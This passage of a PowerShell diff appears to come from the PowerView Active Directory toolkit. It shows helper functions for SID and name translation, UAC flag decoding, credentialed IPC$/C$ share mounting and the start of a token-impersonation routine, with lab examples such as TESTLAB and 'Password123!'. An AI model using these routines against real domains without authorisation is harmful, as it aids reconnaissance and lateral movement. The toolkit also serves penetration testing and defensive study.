[CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = $Env:COMPUTERNAME + ) + + PROCESS { + ForEach ($Computer in $ComputerName) { + try { + @(([Net.Dns]::GetHostEntry($Computer)).AddressList) | ForEach-Object { + if ($_.AddressFamily -eq 'InterNetwork') { + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ComputerName' $Computer + $Out | Add-Member Noteproperty 'IPAddress' $_.IPAddressToString + $Out + } + } + } + catch { + Write-Verbose "[Resolve-IPAddress] Could not resolve $Computer to an IP Address." + } + } + } +} + + +function ConvertTo-SID { +<# +.SYNOPSIS + +Converts a given user/group name to a security identifier (SID). + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Convert-ADName, Get-DomainObject, Get-Domain + +.DESCRIPTION + +Converts a "DOMAIN\username" syntax to a security identifier (SID) +using System.Security.Principal.NTAccount's translate function. If alternate +credentials are supplied, then Get-ADObject is used to try to map the name +to a security identifier. + +.PARAMETER ObjectName + +The user/group name to convert, can be 'user' or 'DOMAIN\user' format. + +.PARAMETER Domain + +Specifies the domain to use for the translation, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to for the translation. + +.PARAMETER Credential + +Specifies an alternate credential to use for the translation. + +.EXAMPLE + +ConvertTo-SID 'DEV\dfm' + +.EXAMPLE + +'DEV\dfm','DEV\krbtgt' | ConvertTo-SID + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +'TESTLAB\dfm' | ConvertTo-SID -Credential $Cred + +.INPUTS + +String + +Accepts one or more username specification strings on the pipeline. + +.OUTPUTS + +String + +A string representing the SID of the translated name. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([String])] + [CmdletBinding()] + Param( + [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name', 'Identity')] + [String[]] + $ObjectName, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $DomainSearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $DomainSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $DomainSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $DomainSearcherArguments['Credential'] = $Credential } + } + + PROCESS { + ForEach ($Object in $ObjectName) { + $Object = $Object -Replace '/','\' + + if ($PSBoundParameters['Credential']) { + $DN = Convert-ADName -Identity $Object -OutputType 'DN' @DomainSearcherArguments + if ($DN) { + $UserDomain = $DN.SubString($DN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + $UserName = $DN.Split(',')[0].split('=')[1] + + $DomainSearcherArguments['Identity'] = $UserName + $DomainSearcherArguments['Domain'] = $UserDomain + $DomainSearcherArguments['Properties'] = 'objectsid' + Get-DomainObject @DomainSearcherArguments | Select-Object -Expand objectsid + } + } + else { + try { + if ($Object.Contains('\')) { + $Domain = $Object.Split('\')[0] + $Object = $Object.Split('\')[1] + } + elseif (-not $PSBoundParameters['Domain']) { + $DomainSearcherArguments = @{} + $Domain = (Get-Domain @DomainSearcherArguments).Name + } + + $Obj = (New-Object System.Security.Principal.NTAccount($Domain, $Object)) + $Obj.Translate([System.Security.Principal.SecurityIdentifier]).Value + } + catch { + Write-Verbose "[ConvertTo-SID] Error converting $Domain\$Object : $_" + } + } + } + } +} + + +function ConvertFrom-SID { +<# +.SYNOPSIS + +Converts a security identifier (SID) to a group/user name. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Convert-ADName + +.DESCRIPTION + +Converts a security identifier string (SID) to a group/user name +using Convert-ADName. + +.PARAMETER ObjectSid + +Specifies one or more SIDs to convert. + +.PARAMETER Domain + +Specifies the domain to use for the translation, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to for the translation. + +.PARAMETER Credential + +Specifies an alternate credential to use for the translation. + +.EXAMPLE + +ConvertFrom-SID S-1-5-21-890171859-3433809279-3366196753-1108 + +TESTLAB\harmj0y + +.EXAMPLE + +"S-1-5-21-890171859-3433809279-3366196753-1107", "S-1-5-21-890171859-3433809279-3366196753-1108", "S-1-5-32-562" | ConvertFrom-SID + +TESTLAB\WINDOWS2$ +TESTLAB\harmj0y +BUILTIN\Distributed COM Users + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword) +ConvertFrom-SID S-1-5-21-890171859-3433809279-3366196753-1108 -Credential $Cred + +TESTLAB\harmj0y + +.INPUTS + +String + +Accepts one or more SID strings on the pipeline. + +.OUTPUTS + +String + +The converted DOMAIN\username. +#> + + [OutputType([String])] + [CmdletBinding()] + Param( + [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('SID')] + [ValidatePattern('^S-1-.*')] + [String[]] + $ObjectSid, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $ADNameArguments = @{} + if ($PSBoundParameters['Domain']) { $ADNameArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential } + } + + PROCESS { + ForEach ($TargetSid in $ObjectSid) { + $TargetSid = $TargetSid.trim('*') + try { + # try to resolve any built-in SIDs first - https://support.microsoft.com/en-us/kb/243330 + Switch ($TargetSid) { + 'S-1-0' { 'Null Authority' } + 'S-1-0-0' { 'Nobody' } + 'S-1-1' { 'World Authority' } + 'S-1-1-0' { 'Everyone' } + 'S-1-2' { 'Local Authority' } + 'S-1-2-0' { 'Local' } + 'S-1-2-1' { 'Console Logon ' } + 'S-1-3' { 'Creator Authority' } + 'S-1-3-0' { 'Creator Owner' } + 'S-1-3-1' { 'Creator Group' } + 'S-1-3-2' { 'Creator Owner Server' } + 'S-1-3-3' { 'Creator Group Server' } + 'S-1-3-4' { 'Owner Rights' } + 'S-1-4' { 'Non-unique Authority' } + 'S-1-5' { 'NT Authority' } + 'S-1-5-1' { 'Dialup' } + 'S-1-5-2' { 'Network' } + 'S-1-5-3' { 'Batch' } + 'S-1-5-4' { 'Interactive' } + 'S-1-5-6' { 'Service' } + 'S-1-5-7' { 'Anonymous' } + 'S-1-5-8' { 'Proxy' } + 'S-1-5-9' { 'Enterprise Domain Controllers' } + 'S-1-5-10' { 'Principal Self' } + 'S-1-5-11' { 'Authenticated Users' } + 'S-1-5-12' { 'Restricted Code' } + 'S-1-5-13' { 'Terminal Server Users' } + 'S-1-5-14' { 'Remote Interactive Logon' } + 'S-1-5-15' { 'This Organization ' } + 'S-1-5-17' { 'This Organization ' } + 'S-1-5-18' { 'Local System' } + 'S-1-5-19' { 'NT Authority' } + 'S-1-5-20' { 'NT Authority' } + 'S-1-5-80-0' { 'All Services ' } + 'S-1-5-32-544' { 'BUILTIN\Administrators' } + 'S-1-5-32-545' { 'BUILTIN\Users' } + 'S-1-5-32-546' { 'BUILTIN\Guests' } + 'S-1-5-32-547' { 'BUILTIN\Power Users' } + 'S-1-5-32-548' { 'BUILTIN\Account Operators' } + 'S-1-5-32-549' { 'BUILTIN\Server Operators' } + 'S-1-5-32-550' { 'BUILTIN\Print Operators' } + 'S-1-5-32-551' { 'BUILTIN\Backup Operators' } + 'S-1-5-32-552' { 'BUILTIN\Replicators' } + 'S-1-5-32-554' { 'BUILTIN\Pre-Windows 2000 Compatible Access' } + 'S-1-5-32-555' { 'BUILTIN\Remote Desktop Users' } + 'S-1-5-32-556' { 'BUILTIN\Network Configuration Operators' } + 'S-1-5-32-557' { 'BUILTIN\Incoming Forest Trust Builders' } + 'S-1-5-32-558' { 'BUILTIN\Performance Monitor Users' } + 'S-1-5-32-559' { 'BUILTIN\Performance Log Users' } + 'S-1-5-32-560' { 'BUILTIN\Windows Authorization Access Group' } + 'S-1-5-32-561' { 'BUILTIN\Terminal Server License Servers' } + 'S-1-5-32-562' { 'BUILTIN\Distributed COM Users' } + 'S-1-5-32-569' { 'BUILTIN\Cryptographic Operators' } + 'S-1-5-32-573' { 'BUILTIN\Event Log Readers' } + 'S-1-5-32-574' { 'BUILTIN\Certificate Service DCOM Access' } + 'S-1-5-32-575' { 'BUILTIN\RDS Remote Access Servers' } + 'S-1-5-32-576' { 'BUILTIN\RDS Endpoint Servers' } + 'S-1-5-32-577' { 'BUILTIN\RDS Management Servers' } + 'S-1-5-32-578' { 'BUILTIN\Hyper-V Administrators' } + 'S-1-5-32-579' { 'BUILTIN\Access Control Assistance Operators' } + 'S-1-5-32-580' { 'BUILTIN\Access Control Assistance Operators' } + Default { + Convert-ADName -Identity $TargetSid @ADNameArguments + } + } + } + catch { + Write-Verbose "[ConvertFrom-SID] Error converting SID '$TargetSid' : $_" + } + } + } +} + + +function Convert-ADName { +<# +.SYNOPSIS + +Converts Active Directory object names between a variety of formats. + +Author: Bill Stewart, Pasquale Lantella +Modifications: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +This function is heavily based on Bill Stewart's code and Pasquale Lantella's code (in LINK) +and translates Active Directory names between various formats using the NameTranslate COM object. + +.PARAMETER Identity + +Specifies the Active Directory object name to translate, of the following form: + + DN short for 'distinguished name'; e.g., 'CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com' + Canonical canonical name; e.g., 'fabrikam.com/Engineers/Phineas Flynn' + NT4 domain\username; e.g., 'fabrikam\pflynn' + Display display name, e.g. 'pflynn' + DomainSimple simple domain name format, e.g. 'pflynn@fabrikam.com' + EnterpriseSimple simple enterprise name format, e.g. 'pflynn@fabrikam.com' + GUID GUID; e.g., '{95ee9fff-3436-11d1-b2b0-d15ae3ac8436}' + UPN user principal name; e.g., 'pflynn@fabrikam.com' + CanonicalEx extended canonical name format + SPN service principal name format; e.g. 'HTTP/kairomac.contoso.com' + SID Security Identifier; e.g., 'S-1-5-21-12986231-600641547-709122288-57999' + +.PARAMETER OutputType + +Specifies the output name type you want to convert to, which must be one of the following: + + DN short for 'distinguished name'; e.g., 'CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com' + Canonical canonical name; e.g., 'fabrikam.com/Engineers/Phineas Flynn' + NT4 domain\username; e.g., 'fabrikam\pflynn' + Display display name, e.g. 'pflynn' + DomainSimple simple domain name format, e.g. 'pflynn@fabrikam.com' + EnterpriseSimple simple enterprise name format, e.g. 'pflynn@fabrikam.com' + GUID GUID; e.g., '{95ee9fff-3436-11d1-b2b0-d15ae3ac8436}' + UPN user principal name; e.g., 'pflynn@fabrikam.com' + CanonicalEx extended canonical name format, e.g. 'fabrikam.com/Users/Phineas Flynn' + SPN service principal name format; e.g. 'HTTP/kairomac.contoso.com' + +.PARAMETER Domain + +Specifies the domain to use for the translation, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to for the translation. + +.PARAMETER Credential + +Specifies an alternate credential to use for the translation. + +.EXAMPLE + +Convert-ADName -Identity "TESTLAB\harmj0y" + +harmj0y@testlab.local + +.EXAMPLE + +"TESTLAB\krbtgt", "CN=Administrator,CN=Users,DC=testlab,DC=local" | Convert-ADName -OutputType Canonical + +testlab.local/Users/krbtgt +testlab.local/Users/Administrator + +.EXAMPLE + +Convert-ADName -OutputType dn -Identity 'TESTLAB\harmj0y' -Server PRIMARY.testlab.local + +CN=harmj0y,CN=Users,DC=testlab,DC=local + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword) +'S-1-5-21-890171859-3433809279-3366196753-1108' | Convert-ADNAme -Credential $Cred + +TESTLAB\harmj0y + +.INPUTS + +String + +Accepts one or more objects name strings on the pipeline. + +.OUTPUTS + +String + +Outputs a string representing the converted name. + +.LINK + +http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats +https://gallery.technet.microsoft.com/scriptcenter/Translating-Active-5c80dd67 +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [OutputType([String])] + [CmdletBinding()] + Param( + [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name', 'ObjectName')] + [String[]] + $Identity, + + [String] + [ValidateSet('DN', 'Canonical', 'NT4', 'Display', 'DomainSimple', 'EnterpriseSimple', 'GUID', 'Unknown', 'UPN', 'CanonicalEx', 'SPN')] + $OutputType, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $NameTypes = @{ + 'DN' = 1 # CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com + 'Canonical' = 2 # fabrikam.com/Engineers/Phineas Flynn + 'NT4' = 3 # fabrikam\pflynn + 'Display' = 4 # pflynn + 'DomainSimple' = 5 # pflynn@fabrikam.com + 'EnterpriseSimple' = 6 # pflynn@fabrikam.com + 'GUID' = 7 # {95ee9fff-3436-11d1-b2b0-d15ae3ac8436} + 'Unknown' = 8 # unknown type - let the server do translation + 'UPN' = 9 # pflynn@fabrikam.com + 'CanonicalEx' = 10 # fabrikam.com/Users/Phineas Flynn + 'SPN' = 11 # HTTP/kairomac.contoso.com + 'SID' = 12 # S-1-5-21-12986231-600641547-709122288-57999 + } + + # accessor functions from Bill Stewart to simplify calls to NameTranslate + function Invoke-Method([__ComObject] $Object, [String] $Method, $Parameters) { + $Output = $Null + $Output = $Object.GetType().InvokeMember($Method, 'InvokeMethod', $NULL, $Object, $Parameters) + Write-Output $Output + } + + function Get-Property([__ComObject] $Object, [String] $Property) { + $Object.GetType().InvokeMember($Property, 'GetProperty', $NULL, $Object, $NULL) + } + + function Set-Property([__ComObject] $Object, [String] $Property, $Parameters) { + [Void] $Object.GetType().InvokeMember($Property, 'SetProperty', $NULL, $Object, $Parameters) + } + + # https://msdn.microsoft.com/en-us/library/aa772266%28v=vs.85%29.aspx + if ($PSBoundParameters['Server']) { + $ADSInitType = 2 + $InitName = $Server + } + elseif ($PSBoundParameters['Domain']) { + $ADSInitType = 1 + $InitName = $Domain + } + elseif ($PSBoundParameters['Credential']) { + $Cred = $Credential.GetNetworkCredential() + $ADSInitType = 1 + $InitName = $Cred.Domain + } + else { + # if no domain or server is specified, default to GC initialization + $ADSInitType = 3 + $InitName = $Null + } + } + + PROCESS { + ForEach ($TargetIdentity in $Identity) { + if (-not $PSBoundParameters['OutputType']) { + if ($TargetIdentity -match "^[A-Za-z]+\\[A-Za-z ]+") { + $ADSOutputType = $NameTypes['DomainSimple'] + } + else { + $ADSOutputType = $NameTypes['NT4'] + } + } + else { + $ADSOutputType = $NameTypes[$OutputType] + } + + $Translate = New-Object -ComObject NameTranslate + + if ($PSBoundParameters['Credential']) { + try { + $Cred = $Credential.GetNetworkCredential() + + Invoke-Method $Translate 'InitEx' ( + $ADSInitType, + $InitName, + $Cred.UserName, + $Cred.Domain, + $Cred.Password + ) + } + catch { + Write-Verbose "[Convert-ADName] Error initializing translation for '$Identity' using alternate credentials : $_" + } + } + else { + try { + $Null = Invoke-Method $Translate 'Init' ( + $ADSInitType, + $InitName + ) + } + catch { + Write-Verbose "[Convert-ADName] Error initializing translation for '$Identity' : $_" + } + } + + # always chase all referrals + Set-Property $Translate 'ChaseReferral' (0x60) + + try { + # 8 = Unknown name type -> let the server do the work for us + $Null = Invoke-Method $Translate 'Set' (8, $TargetIdentity) + Invoke-Method $Translate 'Get' ($ADSOutputType) + } + catch [System.Management.Automation.MethodInvocationException] { + Write-Verbose "[Convert-ADName] Error translating '$TargetIdentity' : $($_.Exception.InnerException.Message)" + } + } + } +} + + +function ConvertFrom-UACValue { +<# +.SYNOPSIS + +Converts a UAC int value to human readable form. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +This function will take an integer that represents a User Account +Control (UAC) binary blob and will covert it to an ordered +dictionary with each bitwise value broken out. By default only values +set are displayed- the -ShowAll switch will display all values with +a + next to the ones set. + +.PARAMETER Value + +Specifies the integer UAC value to convert. + +.PARAMETER ShowAll + +Switch. Signals ConvertFrom-UACValue to display all UAC values, with a + indicating the value is currently set. + +.EXAMPLE + +ConvertFrom-UACValue -Value 66176 + +Name Value +---- ----- +ENCRYPTED_TEXT_PWD_ALLOWED 128 +NORMAL_ACCOUNT 512 +DONT_EXPIRE_PASSWORD 65536 + +.EXAMPLE + +Get-DomainUser harmj0y | ConvertFrom-UACValue + +Name Value +---- ----- +NORMAL_ACCOUNT 512 +DONT_EXPIRE_PASSWORD 65536 + +.EXAMPLE + +Get-DomainUser harmj0y | ConvertFrom-UACValue -ShowAll + +Name Value +---- ----- +SCRIPT 1 +ACCOUNTDISABLE 2 +HOMEDIR_REQUIRED 8 +LOCKOUT 16 +PASSWD_NOTREQD 32 +PASSWD_CANT_CHANGE 64 +ENCRYPTED_TEXT_PWD_ALLOWED 128 +TEMP_DUPLICATE_ACCOUNT 256 +NORMAL_ACCOUNT 512+ +INTERDOMAIN_TRUST_ACCOUNT 2048 +WORKSTATION_TRUST_ACCOUNT 4096 +SERVER_TRUST_ACCOUNT 8192 +DONT_EXPIRE_PASSWORD 65536+ +MNS_LOGON_ACCOUNT 131072 +SMARTCARD_REQUIRED 262144 +TRUSTED_FOR_DELEGATION 524288 +NOT_DELEGATED 1048576 +USE_DES_KEY_ONLY 2097152 +DONT_REQ_PREAUTH 4194304 +PASSWORD_EXPIRED 8388608 +TRUSTED_TO_AUTH_FOR_DELEGATION 16777216 +PARTIAL_SECRETS_ACCOUNT 67108864 + +.INPUTS + +Int + +Accepts an integer representing a UAC binary blob. + +.OUTPUTS + +System.Collections.Specialized.OrderedDictionary + +An ordered dictionary with the converted UAC fields. + +.LINK + +https://support.microsoft.com/en-us/kb/305144 +#> + + [OutputType('System.Collections.Specialized.OrderedDictionary')] + [CmdletBinding()] + Param( + [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('UAC', 'useraccountcontrol')] + [Int] + $Value, + + [Switch] + $ShowAll + ) + + BEGIN { + # values from https://support.microsoft.com/en-us/kb/305144 + $UACValues = New-Object System.Collections.Specialized.OrderedDictionary + $UACValues.Add("SCRIPT", 1) + $UACValues.Add("ACCOUNTDISABLE", 2) + $UACValues.Add("HOMEDIR_REQUIRED", 8) + $UACValues.Add("LOCKOUT", 16) + $UACValues.Add("PASSWD_NOTREQD", 32) + $UACValues.Add("PASSWD_CANT_CHANGE", 64) + $UACValues.Add("ENCRYPTED_TEXT_PWD_ALLOWED", 128) + $UACValues.Add("TEMP_DUPLICATE_ACCOUNT", 256) + $UACValues.Add("NORMAL_ACCOUNT", 512) + $UACValues.Add("INTERDOMAIN_TRUST_ACCOUNT", 2048) + $UACValues.Add("WORKSTATION_TRUST_ACCOUNT", 4096) + $UACValues.Add("SERVER_TRUST_ACCOUNT", 8192) + $UACValues.Add("DONT_EXPIRE_PASSWORD", 65536) + $UACValues.Add("MNS_LOGON_ACCOUNT", 131072) + $UACValues.Add("SMARTCARD_REQUIRED", 262144) + $UACValues.Add("TRUSTED_FOR_DELEGATION", 524288) + $UACValues.Add("NOT_DELEGATED", 1048576) + $UACValues.Add("USE_DES_KEY_ONLY", 2097152) + $UACValues.Add("DONT_REQ_PREAUTH", 4194304) + $UACValues.Add("PASSWORD_EXPIRED", 8388608) + $UACValues.Add("TRUSTED_TO_AUTH_FOR_DELEGATION", 16777216) + $UACValues.Add("PARTIAL_SECRETS_ACCOUNT", 67108864) + } + + PROCESS { + $ResultUACValues = New-Object System.Collections.Specialized.OrderedDictionary + + if ($ShowAll) { + ForEach ($UACValue in $UACValues.GetEnumerator()) { + if ( ($Value -band $UACValue.Value) -eq $UACValue.Value) { + $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)+") + } + else { + $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)") + } + } + } + else { + ForEach ($UACValue in $UACValues.GetEnumerator()) { + if ( ($Value -band $UACValue.Value) -eq $UACValue.Value) { + $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)") + } + } + } + $ResultUACValues + } +} + + +function Get-PrincipalContext { +<# +.SYNOPSIS + +Helper to take an Identity and return a DirectoryServices.AccountManagement.PrincipalContext +and simplified identity. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.PARAMETER Identity + +A group SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202), +or a DOMAIN\username identity. + +.PARAMETER Domain + +Specifies the domain to use to search for user/group principals, defaults to the current domain. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True)] + [Alias('GroupName', 'GroupIdentity')] + [String] + $Identity, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + Add-Type -AssemblyName System.DirectoryServices.AccountManagement + + try { + if ($PSBoundParameters['Domain'] -or ($Identity -match '.+\\.+')) { + if ($Identity -match '.+\\.+') { + # DOMAIN\groupname + $ConvertedIdentity = $Identity | Convert-ADName -OutputType Canonical + if ($ConvertedIdentity) { + $ConnectTarget = $ConvertedIdentity.SubString(0, $ConvertedIdentity.IndexOf('/')) + $ObjectIdentity = $Identity.Split('\')[1] + Write-Verbose "[Get-PrincipalContext] Binding to domain '$ConnectTarget'" + } + } + else { + $ObjectIdentity = $Identity + Write-Verbose "[Get-PrincipalContext] Binding to domain '$Domain'" + $ConnectTarget = $Domain + } + + if ($PSBoundParameters['Credential']) { + Write-Verbose '[Get-PrincipalContext] Using alternate credentials' + $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $ConnectTarget, $Credential.UserName, $Credential.GetNetworkCredential().Password) + } + else { + $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $ConnectTarget) + } + } + else { + if ($PSBoundParameters['Credential']) { + Write-Verbose '[Get-PrincipalContext] Using alternate credentials' + $DomainName = Get-Domain | Select-Object -ExpandProperty Name + $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $DomainName, $Credential.UserName, $Credential.GetNetworkCredential().Password) + } + else { + $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain) + } + $ObjectIdentity = $Identity + } + + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'Context' $Context + $Out | Add-Member Noteproperty 'Identity' $ObjectIdentity + $Out + } + catch { + Write-Warning "[Get-PrincipalContext] Error creating binding for object ('$Identity') context : $_" + } +} + + +function Add-RemoteConnection { +<# +.SYNOPSIS + +Pseudo "mounts" a connection to a remote path using the specified +credential object, allowing for access of remote resources. If a -Path isn't +specified, a -ComputerName is required to pseudo-mount IPC$. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect + +.DESCRIPTION + +This function uses WNetAddConnection2W to make a 'temporary' (i.e. not saved) connection +to the specified remote -Path (\\UNC\share) with the alternate credentials specified in the +-Credential object. If a -Path isn't specified, a -ComputerName is required to pseudo-mount IPC$. + +To destroy the connection, use Remove-RemoteConnection with the same specified \\UNC\share path +or -ComputerName. + +.PARAMETER ComputerName + +Specifies the system to add a \\ComputerName\IPC$ connection for. + +.PARAMETER Path + +Specifies the remote \\UNC\path to add the connection for. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system. + +.EXAMPLE + +$Cred = Get-Credential +Add-RemoteConnection -ComputerName 'PRIMARY.testlab.local' -Credential $Cred + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Add-RemoteConnection -Path '\\PRIMARY.testlab.local\C$\' -Credential $Cred + +.EXAMPLE + +$Cred = Get-Credential +@('PRIMARY.testlab.local','SECONDARY.testlab.local') | Add-RemoteConnection -Credential $Cred +#> + + [CmdletBinding(DefaultParameterSetName = 'ComputerName')] + Param( + [Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ComputerName', ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName, + + [Parameter(Position = 0, ParameterSetName = 'Path', Mandatory = $True)] + [ValidatePattern('\\\\.*\\.*')] + [String[]] + $Path, + + [Parameter(Mandatory = $True)] + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential + ) + + BEGIN { + $NetResourceInstance = [Activator]::CreateInstance($NETRESOURCEW) + $NetResourceInstance.dwType = 1 + } + + PROCESS { + $Paths = @() + if ($PSBoundParameters['ComputerName']) { + ForEach ($TargetComputerName in $ComputerName) { + $TargetComputerName = $TargetComputerName.Trim('\') + $Paths += ,"\\$TargetComputerName\IPC$" + } + } + else { + $Paths += ,$Path + } + + ForEach ($TargetPath in $Paths) { + $NetResourceInstance.lpRemoteName = $TargetPath + Write-Verbose "[Add-RemoteConnection] Attempting to mount: $TargetPath" + + # https://msdn.microsoft.com/en-us/library/windows/desktop/aa385413(v=vs.85).aspx + # CONNECT_TEMPORARY = 4 + $Result = $Mpr::WNetAddConnection2W($NetResourceInstance, $Credential.GetNetworkCredential().Password, $Credential.UserName, 4) + + if ($Result -eq 0) { + Write-Verbose "$TargetPath successfully mounted" + } + else { + Throw "[Add-RemoteConnection] error mounting $TargetPath : $(([ComponentModel.Win32Exception]$Result).Message)" + } + } + } +} + + +function Remove-RemoteConnection { +<# +.SYNOPSIS + +Destroys a connection created by New-RemoteConnection. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect + +.DESCRIPTION + +This function uses WNetCancelConnection2 to destroy a connection created by +New-RemoteConnection. If a -Path isn't specified, a -ComputerName is required to +'unmount' \\$ComputerName\IPC$. + +.PARAMETER ComputerName + +Specifies the system to remove a \\ComputerName\IPC$ connection for. + +.PARAMETER Path + +Specifies the remote \\UNC\path to remove the connection for. + +.EXAMPLE + +Remove-RemoteConnection -ComputerName 'PRIMARY.testlab.local' + +.EXAMPLE + +Remove-RemoteConnection -Path '\\PRIMARY.testlab.local\C$\' + +.EXAMPLE + +@('PRIMARY.testlab.local','SECONDARY.testlab.local') | Remove-RemoteConnection +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [CmdletBinding(DefaultParameterSetName = 'ComputerName')] + Param( + [Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ComputerName', ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName, + + [Parameter(Position = 0, ParameterSetName = 'Path', Mandatory = $True)] + [ValidatePattern('\\\\.*\\.*')] + [String[]] + $Path + ) + + PROCESS { + $Paths = @() + if ($PSBoundParameters['ComputerName']) { + ForEach ($TargetComputerName in $ComputerName) { + $TargetComputerName = $TargetComputerName.Trim('\') + $Paths += ,"\\$TargetComputerName\IPC$" + } + } + else { + $Paths += ,$Path + } + + ForEach ($TargetPath in $Paths) { + Write-Verbose "[Remove-RemoteConnection] Attempting to unmount: $TargetPath" + $Result = $Mpr::WNetCancelConnection2($TargetPath, 0, $True) + + if ($Result -eq 0) { + Write-Verbose "$TargetPath successfully ummounted" + } + else { + Throw "[Remove-RemoteConnection] error unmounting $TargetPath : $(([ComponentModel.Win32Exception]$Result).Message)" + } + } + } +} + + +function Invoke-UserImpersonation { +<# +.SYNOPSIS + +Creates a new "runas /netonly" type logon and impersonates the token. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect + +.DESCRIPTION + +This function uses LogonUser() with the LOGON32_LOGON_NEW_CREDENTIALS LogonType +to simulate "runas /netonly". The resulting token is then impersonated with +ImpersonateLoggedOnUser() and the token handle is returned for later usage +with Invoke-RevertToSelf. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object with alternate credentials +to impersonate in the current thread space. + 